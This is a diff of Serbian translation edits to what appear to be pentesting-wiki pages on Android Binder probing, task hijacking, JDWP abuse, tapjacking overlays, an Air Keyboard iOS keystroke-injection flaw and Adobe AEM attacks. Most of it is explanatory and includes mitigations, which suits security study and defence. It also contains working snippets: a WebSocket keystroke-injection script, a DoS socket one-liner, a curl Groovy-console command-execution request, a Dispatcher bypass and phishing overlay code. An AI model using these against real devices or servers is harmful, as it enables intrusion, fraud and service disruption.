145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
```
|
||||
* **Indeks** (prva kolona) se dodeljuje u vreme izvršavanja – ***ne*** oslanjajte se na njega između ponovnih pokretanja.
|
||||
* **Indeks** (prva kolona) se dodeljuje u vreme izvršavanja – ***ne*** oslanjajte se na njega između ponovnog pokretanja.
|
||||
* **Binder ime** (npr. `mtkconnmetrics`) je ono što će biti prosleđeno `service call`.
|
||||
* Vrednost unutar zagrada je potpuno kvalifikovani **AIDL interfejs** iz kojeg je stub generisan.
|
||||
|
||||
@ -414,7 +413,7 @@ Primer – započnite praćenje mreže sa uid **1** na MediaTek uređaju:
|
||||
service call mtkconnmetrics 8 i32 1
|
||||
```
|
||||
### 4. Brute-forcing unknown methods
|
||||
Kada header datoteke nisu dostupne, možete **iterirati kod** dok se greška ne promeni iz:
|
||||
Kada header datoteke nisu dostupne, možete **iterirati kod** dok se greška ne promeni sa:
|
||||
```
|
||||
Result: Parcel(00000000 00000000) # "Not a data message"
|
||||
```
|
||||
@ -453,7 +452,7 @@ throw new SecurityException("uid " + uid + " rejected");
|
||||
```
|
||||
Odsustvo takve logike ili bele liste privilegovanih UID-ova (npr. `uid == 1000 /*system*/`) je **indikator ranjivosti**.
|
||||
|
||||
Studija slučaja – *MediaTek* `startMonitorProcessWithUid()` (transakcija **8**) potpuno izvršava Netlink poruku **bez** ikakvih dozvola, omogućavajući neprivilegovanoj aplikaciji da komunicira sa Netfilter modulom jezgra i spamuje sistemski log.
|
||||
Studija slučaja – *MediaTek* `startMonitorProcessWithUid()` (transakcija **8**) potpuno izvršava Netlink poruku **bez** ikakvih dozvola, omogućavajući neprivilegovanoj aplikaciji da interaguje sa kernelovim Netfilter modulom i spamuje sistemski log.
|
||||
|
||||
### 7. Automatizacija procene
|
||||
Alati / skripte koje ubrzavaju Binder istraživanje:
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Task, Back Stack and Foreground Activities
|
||||
|
||||
U Androidu, **task** je suštinski skup aktivnosti sa kojima korisnici interaguju da bi završili određeni posao, organizovan unutar **back stack**. Ova stog organizuje aktivnosti na osnovu vremena kada su otvorene, pri čemu je najnovija aktivnost prikazana na vrhu kao **foreground activity**. U bilo kojem trenutku, samo je ova aktivnost vidljiva na ekranu, čineći je delom **foreground task**.
|
||||
U Androidu, **task** je u suštini skup aktivnosti sa kojima korisnici interaguju da bi završili određeni posao, organizovan unutar **back stack**. Ova stog organizuje aktivnosti na osnovu vremena kada su otvorene, pri čemu je najnovija aktivnost prikazana na vrhu kao **foreground activity**. U bilo kojem trenutku, samo je ova aktivnost vidljiva na ekranu, čineći je delom **foreground task**.
|
||||
|
||||
Evo brzog pregleda prelaza između aktivnosti:
|
||||
|
||||
@ -40,7 +40,7 @@ android:launchMode="singleTask" >
|
||||
</activity>
|
||||
```
|
||||
2. Zloćudna aplikacija se pokreće jednom kako bi zadatak (sa lažnim afinitetom) postojao u nedavnim zadacima.
|
||||
3. Kada korisnik kasnije otvori pravu aplikaciju, Android pronalazi da već postoji zadatak čiji **root afinitet odgovara paketu** i jednostavno dovodi taj zadatak u foreground.
|
||||
3. Kada korisnik kasnije otvori pravu aplikaciju, Android pronalazi da već postoji zadatak čija **root afinitet odgovara paketu** i jednostavno dovodi taj zadatak u foreground.
|
||||
4. UI napadača se prikazuje prvi.
|
||||
|
||||
### Default–Affinity (no `singleTask`) variant – Caller ID case study
|
||||
@ -52,7 +52,7 @@ Ranljivost prijavljena u aplikaciji **Caller ID (caller.id.phone.number.block)**
|
||||
class HackActivity : AppCompatActivity() {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
moveTaskToBack(true) // drži zadatak u nedavnim, ali van vidokruga
|
||||
moveTaskToBack(true) // keep the task in recents but out of sight
|
||||
}
|
||||
}
|
||||
```
|
||||
@ -67,10 +67,10 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
3. Čim korisnik instalira i otvori zloćudnu aplikaciju **jednom**, postoji zadatak čiji afinitet odgovara paketu žrtve (ali se nalazi u pozadini).
|
||||
4. Kada se pokrene prava Caller ID aplikacija, Android ponovo koristi taj zadatak i dovodi `HackActivity` u foreground → phishing prozor/zlostavljanje dozvola.
|
||||
3. Čim korisnik instalira i otvori zloćudnu aplikaciju **jednom**, postoji zadatak čija afinitet odgovara paketu žrtve (ali se nalazi u pozadini).
|
||||
4. Kada se prava Caller ID aplikacija pokrene, Android ponovo koristi taj zadatak i dovodi `HackActivity` u foreground → phishing prozor/zlostavljanje dozvola.
|
||||
|
||||
> NOTE: Počevši od **Android 11 (API 30)**, sistem *ne* postavlja dva paketa koja nisu deo istog UID-a u isti zadatak po defaultu, ublažavajući ovu posebnu varijantu. Starije verzije ostaju ranjive.
|
||||
> NOTE: Počevši od **Android 11 (API 30)**, sistem *ne* postavlja dva paketa koja nisu deo istog UID u isti zadatak po defaultu, ublažavajući ovu posebnu varijantu. Starije verzije ostaju ranjive.
|
||||
|
||||
---
|
||||
|
||||
@ -84,7 +84,7 @@ Ključne tačke:
|
||||
* Budući da se aktivnost umetne nakon vremena izvršavanja, ni `launchMode` ni statička analiza manifesta ne mogu unapred otkriti napad.
|
||||
* Ispravljeno vraćanjem provere u **Android 8.0/8.1/9** (maj 2020 SPL). **Android 10 i noviji nisu pogođeni.**
|
||||
|
||||
Otkrivanje na unapred ispravljenim uređajima može se izvršiti sa `adb shell dumpsys activity activities` i posmatranjem sumnjivih aktivnosti čije ime paketa se razlikuje od *afiniteta* zadatka.
|
||||
Otkrivanje na uređajima pre ispravke može se izvršiti sa `adb shell dumpsys activity activities` i posmatranjem sumnjivih aktivnosti čije ime paketa se razlikuje od *afiniteta* zadatka.
|
||||
|
||||
Ublažavanje za starije uređaje je isto kao klasični hijacking zadataka **plus** verifikacija u vreme izvršavanja (npr. pozivajući [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) i validirajući svoje ime paketa).
|
||||
|
||||
@ -104,7 +104,7 @@ java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
|
||||
```bash
|
||||
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
|
||||
```
|
||||
Zadatak čiji root afinitet odgovara paketu žrtve, ali čija gornja aktivnost pripada *drugom* paketu je crvena zastava.
|
||||
Zadatak čija root afinitet odgovara paketu žrtve, ali čija gornja aktivnost pripada *drugom* paketu je crvena zastava.
|
||||
3. Napravite zloćudnu aplikaciju kao što je opisano iznad, ili koristite **[Drozer](https://github.com/WithSecureLabs/drozer)**:
|
||||
```bash
|
||||
drozer console connect
|
||||
@ -119,16 +119,16 @@ run app.activity.info com.victim
|
||||
Programeri bi trebali:
|
||||
|
||||
* Eksplicitno postaviti `android:taskAffinity=""` na nivou `<application>` (preporučeno) **ili** dati svakoj aktivnosti jedinstven, privatni afinitet.
|
||||
* Za visoko osetljive ekrane, kombinovati navedeno sa `android:launchMode="singleInstance"` ili modernim [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) zaštitama.
|
||||
* Za veoma osetljive ekrane, kombinovati navedeno sa `android:launchMode="singleInstance"` ili modernim [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) zaštitama.
|
||||
* Ažurirati `targetSdkVersion` aplikacije i primeniti **Android 11** promene ponašanja gde se zadaci po defaultu ne dele između paketa.
|
||||
* Ciljati **Android 12 (API 31) ili noviji** tako da obavezni atribut `android:exported` primorava programere da audituju svaku spolja dostupnu komponentu.
|
||||
* Razmotriti samoodbranu u vreme izvršavanja: povremeno upititi `ActivityTaskManager` da osigurate da se ime paketa vaše gornje aktivnosti poklapa sa vašim.
|
||||
* Razmotriti samoodbranu u vreme izvršavanja: povremeno upititi `ActivityTaskManager` da osigura da se ime paketa vaše gornje aktivnosti poklapa sa vašim.
|
||||
|
||||
---
|
||||
|
||||
## Related UI-Hijacking techniques
|
||||
|
||||
Hijacking zadataka se često kombinuje sa ili zamenjuje **tapjacking** (obmana UI zasnovana na preklapanju). Istraživanje iz 2025. **TapTrap** pokazalo je da potpuno prozirne *animacije vođene* aktivnosti mogu zaobići ograničenja dodira preklapanja uvedena u Android 12–14 i još uvek prevariti korisnike da dodele opasne dozvole. Iako TapTrap nije strogo *task* hijacking, krajnji cilj (phishing klikovi) je identičan – tako da moderna ocenjivanja treba da provere obe površine napada.
|
||||
Hijacking zadataka se često kombinuje sa ili zamenjuje **tapjacking** (obmana UI zasnovana na preklapanju). Istraživanje **TapTrap** iz 2025. pokazalo je da potpuno prozirne *animacije* mogu zaobići ograničenja dodira preklapanja uvedena u Android 12–14 i još uvek prevariti korisnike da dodele opasne dozvole. Iako TapTrap nije strogo *task* hijacking, krajnji cilj (phishing klikovi) je identičan – tako da moderna ocenjivanja treba da provere obe površine napada.
|
||||
|
||||
---
|
||||
|
||||
|
@ -12,9 +12,9 @@ Ovaj deo posta je sažetak iz posta [**https://medium.com/@shubhamsonani/hacking
|
||||
|
||||
Sadržaj zasnovan na https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||
|
||||
1. **Decompile the APK:**
|
||||
1. **Dekompajliranje APK-a:**
|
||||
|
||||
- Iskoristite APK-GUI alat za dekompilaciju APK-a.
|
||||
- Iskoristite APK-GUI alat za dekompajliranje APK-a.
|
||||
- U _android-manifest_ datoteci, dodajte `android:debuggable="true"` da omogućite režim debagovanja.
|
||||
- Ponovo kompajlirajte, potpišite i zipalign modifikovanu aplikaciju.
|
||||
|
||||
@ -39,7 +39,7 @@ Sadržaj zasnovan na https://medium.com/@shubhamsonani/hacking-with-precision-by
|
||||
- Otvorite rekompajlirani APK.
|
||||
|
||||
6. **Postavite prekidne tačke u ključnim Java datotekama:**
|
||||
- Postavite prekidne tačke u `MainActivity.java` (specifično u metodi `onCreate`), `b.java`, i `ContextWrapper.java`.
|
||||
- Postavite prekidne tačke u `MainActivity.java` (specifično u `onCreate` metodi), `b.java`, i `ContextWrapper.java`.
|
||||
|
||||
### **Obilaženje provera**
|
||||
|
||||
@ -61,25 +61,25 @@ Korak 2 uključuje promenu vrednosti oznake na 814267972, koja je predstavljena
|
||||
|
||||
Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i textview. U početku, aplikacija prikazuje "Crack Me". Cilj je promeniti poruku sa "Try Again" na "Hacked" u toku izvršavanja, bez modifikacije izvornog koda.
|
||||
|
||||
## **Proveravanje ranjivosti**
|
||||
## **Provera ranjivosti**
|
||||
|
||||
- Aplikacija je dekompilirana korišćenjem `apktool` da bi se pristupilo `AndroidManifest.xml` datoteci.
|
||||
- Aplikacija je dekompajlirana korišćenjem `apktool` da bi se pristupilo `AndroidManifest.xml` datoteci.
|
||||
- Prisutnost `android_debuggable="true"` u AndroidManifest.xml ukazuje da je aplikacija debagovana i podložna eksploataciji.
|
||||
- Vredno je napomenuti da se `apktool` koristi isključivo za proveru statusa debagovanja bez modifikacije bilo kog koda.
|
||||
|
||||
## **Priprema postavki**
|
||||
## **Priprema postavke**
|
||||
|
||||
- Proces je uključivao pokretanje emulatora, instaliranje ranjive aplikacije i korišćenje `adb jdwp` za identifikaciju Dalvik VM portova koji slušaju.
|
||||
- JDWP (Java Debug Wire Protocol) omogućava debagovanje aplikacije koja se izvršava u VM-u izlaganjem jedinstvenog porta.
|
||||
- Port forwarding je bio neophodan za daljinsko debagovanje, nakon čega je JDB povezan na ciljanju aplikaciju.
|
||||
- Port forwarding je bio neophodan za daljinsko debagovanje, nakon čega je JDB povezan na ciljnu aplikaciju.
|
||||
|
||||
## **Injektovanje koda u toku izvršavanja**
|
||||
|
||||
- Eksploatacija je izvršena postavljanjem prekidnih tačaka i kontrolisanjem toka aplikacije.
|
||||
- Komande poput `classes` i `methods <class_name>` korišćene su za otkrivanje strukture aplikacije.
|
||||
- Prekidna tačka je postavljena u metodi `onClick`, a njeno izvršavanje je kontrolisano.
|
||||
- Prekidna tačka je postavljena u `onClick` metodi, a njeno izvršavanje je kontrolisano.
|
||||
- Komande `locals`, `next`, i `set` korišćene su za inspekciju i modifikaciju lokalnih varijabli, posebno menjajući poruku "Try Again" u "Hacked".
|
||||
- Modifikovani kod je izvršen korišćenjem komande `run`, uspešno menjajući izlaz aplikacije u realnom vremenu.
|
||||
- Modifikovani kod je izvršen korišćenjem `run` komande, uspešno menjajući izlaz aplikacije u realnom vremenu.
|
||||
|
||||
Ovaj primer je demonstrirao kako se ponašanje debagovane aplikacije može manipulisati, ističući potencijal za složenije eksploate poput dobijanja shell pristupa na uređaju u kontekstu aplikacije.
|
||||
|
||||
@ -87,7 +87,7 @@ Ovaj primer je demonstrirao kako se ponašanje debagovane aplikacije može manip
|
||||
|
||||
# 2024 – Pretvaranje **bilo koje** aplikacije u debagovani proces (CVE-2024-31317)
|
||||
|
||||
Čak i ako ciljani APK _nije_ isporučen sa oznakom `android:debuggable`, nedavna istraživanja su pokazala da je moguće prisiliti **arbitrarne aplikacije** da se pokrenu sa `DEBUG_ENABLE_JDWP` runtime oznakom zloupotrebom načina na koji Zygote analizira argumente komandne linije.
|
||||
Čak i ako ciljni APK _nije_ isporučen sa `android:debuggable` oznakom, nedavna istraživanja su pokazala da je moguće prisiliti **arbitrarne aplikacije** da se pokrenu sa `DEBUG_ENABLE_JDWP` runtime oznakom zloupotrebom načina na koji Zygote analizira argumente komandne linije.
|
||||
|
||||
* **Ranjivost:** Nepravilna validacija `--runtime-flags` dostavljenih putem Zygote-ovog komandnog soketa omogućava napadaču koji može da dođe do `system_server` (na primer, putem privilegovanog `adb` shell-a koji ima `WRITE_SECURE_SETTINGS` dozvolu) da injektuje dodatne parametre. Kada se kreirana komanda ponovo reprodukuje od strane `system_server`, žrtvinska aplikacija se fork-uje kao _debuggable_ i sa JDWP nitima koje slušaju. Problem se prati kao **CVE-2024-31317** i rešen je u junskom 2024 Android Security Bulletin-u.
|
||||
* **Uticaj:** Potpuni pristup za čitanje/pisanje privatnom direktorijumu podataka **bilo koje** aplikacije (uključujući privilegovane kao što je `com.android.settings`), krađa tokena, MDM obilaženje, i u mnogim slučajevima direktan put do eskalacije privilegija zloupotrebom izvezenih IPC krajnjih tačaka sada debagovanog procesa.
|
||||
@ -107,12 +107,12 @@ adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
> Kreirana vrednost u koraku 1 prekida parser iz “brze staze” i dodaje drugu sintetičku komandu gde je `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) prihvaćena kao da je bila dostavljena od strane okvira. Kada se aplikacija pokrene, otvara se JDWP soket i redovne dinamičke-debug trikove (zamena metoda, patchovanje varijabli, live Frida injekcija, itd.) su mogući **bez modifikovanja APK-a ili slike za pokretanje uređaja**.
|
||||
> Kreirana vrednost u koraku 1 prekida parser iz “brze staze” i dodaje drugu sintetičku komandu gde je `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) prihvaćena kao da je bila dostavljena od strane okvira. Kada se aplikacija pokrene, otvara se JDWP soket i redovne dinamičke-debug trikove (zamena metoda, patchovanje varijabli, live Frida injekcija, itd.) su moguće **bez modifikovanja APK-a ili slike pokretačkog uređaja**.
|
||||
|
||||
## Detekcija i ublažavanje
|
||||
|
||||
* Patch na **2024-06-01** (ili kasnije) nivo bezbednosti – Google je ojačao `ZygoteCommandBuffer` tako da se naredbe ne mogu krijumčariti na ovaj način.
|
||||
* Ograničiti `WRITE_SECURE_SETTINGS` / `shell` pristup na proizvodnim uređajima. Eksploatacija zahteva ovu dozvolu, koja se obično drži samo od strane ADB ili aplikacija sa privilegijama OEM-a.
|
||||
* Ograničiti `WRITE_SECURE_SETTINGS` / `shell` pristup na proizvodnim uređajima. Eksploit zahteva ovu dozvolu, koja se obično drži samo od strane ADB ili aplikacija sa privilegijama OEM-a.
|
||||
* Na EMM/MDM-u upravljanim flotama, primeniti `ro.debuggable=0` i odbiti shell putem `adb disable-verifier`.
|
||||
|
||||
---
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**Tapjacking** je napad gde se **maliciozna** **aplikacija** pokreće i **pozicionira iznad aplikacije žrtve**. Kada vidljivo zakloni aplikaciju žrtve, njen korisnički interfejs je dizajniran na način da prevari korisnika da interaguje s njom, dok zapravo prosleđuje interakciju aplikaciji žrtve.\
|
||||
@ -57,7 +56,7 @@ Možete koristiti [**qark**](https://github.com/linkedin/qark) sa `--exploit-apk
|
||||
|
||||
Mitracija je relativno jednostavna jer programer može odlučiti da ne prima dodirne događaje kada je prikaz prekriven drugim. Koristeći [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Ponekad je od suštinskog značaja da aplikacija može da verifikuje da se akcija vrši uz puno znanje i pristanak korisnika, kao što je odobravanje zahteva za dozvolu, kupovina ili klik na oglas. Nažalost, maliciozna aplikacija bi mogla pokušati da prevari korisnika da izvrši ove akcije, nesvesno, prikrivajući namenu prikaza. Kao rešenje, okvir nudi mehanizam filtriranja dodira koji se može koristiti za poboljšanje bezbednosti prikaza koji pružaju pristup osetljivoj funkcionalnosti.
|
||||
> Ponekad je od suštinskog značaja da aplikacija može da verifikuje da se akcija vrši uz puno znanje i pristanak korisnika, kao što je odobravanje zahteva za dozvolu, kupovina ili klik na oglas. Nažalost, maliciozna aplikacija bi mogla pokušati da prevari korisnika da izvrši ove akcije, nesvesno, prikrivanjem namene prikaza. Kao rešenje, okvir nudi mehanizam filtriranja dodira koji se može koristiti za poboljšanje bezbednosti prikaza koji pružaju pristup osetljivoj funkcionalnosti.
|
||||
>
|
||||
> Da biste omogućili filtriranje dodira, pozovite [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ili postavite android:filterTouchesWhenObscured atribut rasporeda na true. Kada je omogućeno, okvir će odbaciti dodire koji se primaju kada je prozor prikaza prekriven drugim vidljivim prozorom. Kao rezultat, prikaz neće primati dodire kada se iznad prozora prikaza pojavi toast, dijalog ili drugi prozor.
|
||||
|
||||
@ -70,7 +69,7 @@ Pored klasičnog Tapjacking-a, moderne Android bankarske malver porodice (npr. *
|
||||
### Kako to funkcioniše
|
||||
1. Maliciozni APK traži visoko osetljivu dozvolu `BIND_ACCESSIBILITY_SERVICE`, obično skrivajući zahtev iza lažnog Google/Chrome/PDF-prikazivača dijaloga.
|
||||
2. Kada korisnik omogući uslugu, malver programatski simulira dodire potrebne za odobravanje dodatnih opasnih dozvola (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. **WebView** se inflira i dodaje menadžeru prozora koristeći **`TYPE_ACCESSIBILITY_OVERLAY`** tip prozora. Overlay može biti potpuno neprozirna ili poluprozirna i može biti označena kao *“prolazna”* tako da se originalni dodiri i dalje isporučuju pozadinskoj aktivnosti (tako da transakcija zaista prolazi dok žrtva vidi samo phishing formu).
|
||||
3. **WebView** se inflira i dodaje menadžeru prozora koristeći **`TYPE_ACCESSIBILITY_OVERLAY`** tip prozora. Overlay može biti potpuno neprozirna ili poluprozirna i može biti označena kao *“prolazna”* tako da se originalni dodiri i dalje isporučuju pozadinskoj aktivnosti (tako da se transakcija zaista dešava dok žrtva vidi samo phishing formu).
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
@ -93,7 +92,7 @@ wm.addView(phishingView, lp);
|
||||
* Koristite **Accessibility API** (`performGlobalAction`, `GestureDescription`) za automatizaciju transfera u pozadini.
|
||||
|
||||
### Detekcija i ublažavanje
|
||||
* Proverite listu instaliranih aplikacija sa `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
|
||||
* Revizija liste instaliranih aplikacija sa `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
|
||||
* Sa strane aplikacije (banka / novčanik):
|
||||
- Omogućite **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) na osetljivim prikazima da blokirate usluge koje nisu iz Play prodavnice.
|
||||
- Kombinujte sa `setFilterTouchesWhenObscured(true)` i `FLAG_SECURE`.
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## TL;DR
|
||||
|
||||
iOS verzija komercijalne **“Air Keyboard”** aplikacije (App Store ID 6463187929) izlaže uslugu lokalne mreže koja **prihvata okvire pritisaka tastera bez ikakve autentifikacije ili provere porekla**. U zavisnosti od instalirane verzije, usluga je ili:
|
||||
iOS verzija komercijalne **“Air Keyboard”** aplikacije (App Store ID 6463187929) izlaže lokalnu mrežnu uslugu koja **prihvata okvire pritisaka tastera bez ikakve autentifikacije ili provere porekla**. U zavisnosti od instalirane verzije, usluga je ili:
|
||||
|
||||
* **≤ 1.0.4** – sirovi TCP slušalac na **portu 8888** koji očekuje 2-bajtni zaglavlje dužine praćeno *device-id* i ASCII payload-om.
|
||||
* **≥ 1.0.5 (jun 2025)** – **WebSocket** slušalac na *istom* portu (**8888**) koji analizira **JSON** ključeve kao što su `{"type":1,"text":"…"}`.
|
||||
|
||||
Svaki uređaj na istoj Wi-Fi / podmreži može **ubaciti proizvoljni unos sa tastature u telefon žrtve, postignuvši potpunu daljinsku interakciju**.
|
||||
Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu, ali kreirani šum i dalje uzrokuje **neobrađenu izuzetak unutar OpenSSL**, rušeći pozadinsku uslugu (**DoS**).
|
||||
Prateća Android verzija sluša na **portu 55535**. Izvodi slabu AES-ECB razmenu ključeva, ali kreirani šum i dalje uzrokuje **neobrađenu izuzetak unutar OpenSSL**, rušeći pozadinsku uslugu (**DoS**).
|
||||
|
||||
> Ranljivost je **i dalje neispravljena u trenutku pisanja (jul 2025)** i aplikacija ostaje dostupna u App Store-u.
|
||||
|
||||
@ -45,11 +45,11 @@ Na **jailbroken iOS** možete uraditi nešto slično sa `lsof -i -nP | grep LIST
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
Deklarisana *dužina* uključuje `device_id` bajt **ali ne** i dvobajtni zaglavlje.
|
||||
Deklarisana *dužina* uključuje `device_id` bajt **ali ne** i sam dvo-bajtni header.
|
||||
|
||||
### 2.2 Trenutna (≥ 1.0.5) – JSON preko WebSocket-a
|
||||
|
||||
Verzija 1.0.5 tiho je migrirala na WebSocket-e dok je port broj ostao nepromenjen. Minimalni pritisak tastera izgleda ovako:
|
||||
Verzija 1.0.5 tiho je migrirala na WebSocket-e dok je zadržala nepromenjen broj porta. Minimalni unos tastera izgleda ovako:
|
||||
```json
|
||||
{
|
||||
"type": 1, // 1 = insert text, 2 = special key
|
||||
@ -102,13 +102,13 @@ ws.send(json.dumps({
|
||||
ws.close()
|
||||
print("[+] URL opened on target browser")
|
||||
```
|
||||
*Svaki štampajući ASCII — uključujući prelome linija, tabove i većinu specijalnih tastera — može biti poslat, dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, otvaranje zlonamernih URL-ova, prebacivanje podešavanja, itd.*
|
||||
*Svaki štampajući ASCII — uključujući prelaze u novi red, tabove i većinu specijalnih tastera — može biti poslat, dajući napadaču istu moć kao fizički unos korisnika: pokretanje aplikacija, slanje IM-ova, otvaranje zlonamernih URL-ova, prebacivanje podešavanja, itd.*
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Companion – Odbijanje usluge
|
||||
|
||||
Android port (55535) očekuje **4-znamenkastu lozinku enkriptovanu sa hard-kodiranim AES-128-ECB ključem** praćenom nasumičnim nonce-om. Greške u parsiranju se prenose do `AES_decrypt()` i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene.
|
||||
Android port (55535) očekuje **4-znamenkastu lozinku enkriptovanu sa hard-kodiranim AES-128-ECB ključem** praćenom nasumičnim nonce-om. Greške u parsiranju se prenose na `AES_decrypt()` i nisu uhvaćene, što dovodi do prekida niti slušatelja. Jedan malformirani paket je stoga dovoljan da drži legitimne korisnike isključenim dok se proces ponovo ne pokrene.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
@ -123,7 +123,7 @@ Air Keyboard **nije izolovan slučaj**. Druge mobilne “daljinske tastature/mis
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 neautentifikovana RCE & prisluškivanje saobraćaja.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 podrazumevano-bez-lozinke, slaba PIN brute-force i curenje u običnom tekstu.
|
||||
|
||||
Ovi slučajevi ističu sistematsko zanemarivanje **napadačkih površina koje su okrenute ka mreži na mobilnim aplikacijama**.
|
||||
Ovi slučajevi ističu sistematsko zanemarivanje **napadačkih površina koje su okrenute mreži na mobilnim aplikacijama**.
|
||||
|
||||
---
|
||||
|
||||
@ -131,7 +131,7 @@ Ovi slučajevi ističu sistematsko zanemarivanje **napadačkih površina koje su
|
||||
|
||||
1. **Nema provere porekla / integriteta** na dolaznim okvirima (iOS).
|
||||
2. **Kryptografska zloupotreba** (stat ključ, ECB, nedostatak provere dužine) i **nedostatak obrade izuzetaka** (Android).
|
||||
3. **Korisnički odobrena Local-Network dozvola ≠ sigurnost** – iOS zahteva saglasnost u toku rada za LAN saobraćaj, ali to ne zamenjuje pravilnu autentifikaciju.
|
||||
3. **Korisnički dodeljena Local-Network prava ≠ sigurnost** – iOS zahteva saglasnost u toku rada za LAN saobraćaj, ali to ne zamenjuje pravilnu autentifikaciju.
|
||||
|
||||
---
|
||||
|
||||
@ -149,7 +149,7 @@ Brzi dobitci za Blue-/Red-Team:
|
||||
* **Mrežno lovljenje:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` ili Wireshark filter `tcp.port == 8888`.
|
||||
* **Inspekcija u toku rada:** Frida skripta koja hvata `socket()`/`NWConnection` da bi se prikazali neočekivani slušatelji.
|
||||
* **iOS Izveštaj o Privatnosti Aplikacija (Podešavanja ▸ Privatnost & Bezbednost ▸ Izveštaj o Privatnosti Aplikacija)** ističe aplikacije koje kontaktiraju LAN adrese – korisno za uočavanje zlonamernih usluga.
|
||||
* **Mobilni EDR-ovi** mogu dodati jednostavna Yara-L pravila za JSON ključeve `"selectionStart"`, `"selectionEnd"` unutar običnih TCP tereta na portu 8888.
|
||||
* **Mobilni EDR-ovi** mogu dodati jednostavna Yara-L pravila za JSON ključeve `"selectionStart"`, `"selectionEnd"` unutar običnog TCP tereta na portu 8888.
|
||||
|
||||
---
|
||||
|
||||
|
@ -29,14 +29,14 @@ Putanja | Šta dobijate | Napomene
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | JCR čvorovi putem **DefaultGetServlet** | Često blokirano, ali *Dispatcher bypass* (vidi ispod) funkcioniše.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Curjenje stabla stranica, unutrašnjih putanja, korisničkih imena.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konzola | 403 po defaultu; ako je izloženo i pronađeni su kredencijali ⇒ bundle-upload RCE.
|
||||
`/crx/packmgr/index.jsp` | Menadžer paketa | Omogućava autentifikovane sadržajne pakete → JSP payload upload.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konzola | 403 po defaultu; ako je izloženo i pronađene su kredencijali ⇒ bundle-upload RCE.
|
||||
`/crx/packmgr/index.jsp` | Paket menadžer | Omogućava autentifikovane sadržajne pakete → JSP payload upload.
|
||||
`/etc/groovyconsole/**` | AEM Groovy konzola | Ako je izložena → proizvoljna Groovy / Java izvršenja.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Audit logovi | Otkriće informacija.
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS vektor.
|
||||
|
||||
### Dispatcher bypass trik
|
||||
Većina produkcionih sajtova se nalazi iza *Dispatcher*-a (obrnuti proxy). Njegova pravila filtriranja mogu se zaobići dodavanjem dozvoljene statičke ekstenzije **posle tačke ili kodirane nove linije**:
|
||||
Većina produkcionih sajtova se nalazi iza *Dispatcher*-a (obrnuti proxy). Njegova pravila filtriranja mogu se zaobići dodavanjem dozvoljene statičke ekstenzije **posle tačke-zareza ili kodirane nove linije**:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
@ -62,7 +62,7 @@ curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groov
|
||||
Kvartal | CVE | Pogođeni | Uticaj
|
||||
------- | --- | -------- | ------
|
||||
Dec 2024 | **CVE-2024-43711** | 6.5.21 i ranije | Nepravilna validacija ulaza → **Izvršavanje proizvoljnog koda** (zahteva nisku privilegiju). 【】
|
||||
Dec 2024 | CVE-2024-43724/26 | 6.5.21 i ranije | DOM / Stored XSS u Move Page Wizard. 【】
|
||||
Dec 2024 | CVE-2024-43724/26 | 6.5.21 i ranije | DOM / Skladišteni XSS u čarobnjaku za premestanje stranica. 【】
|
||||
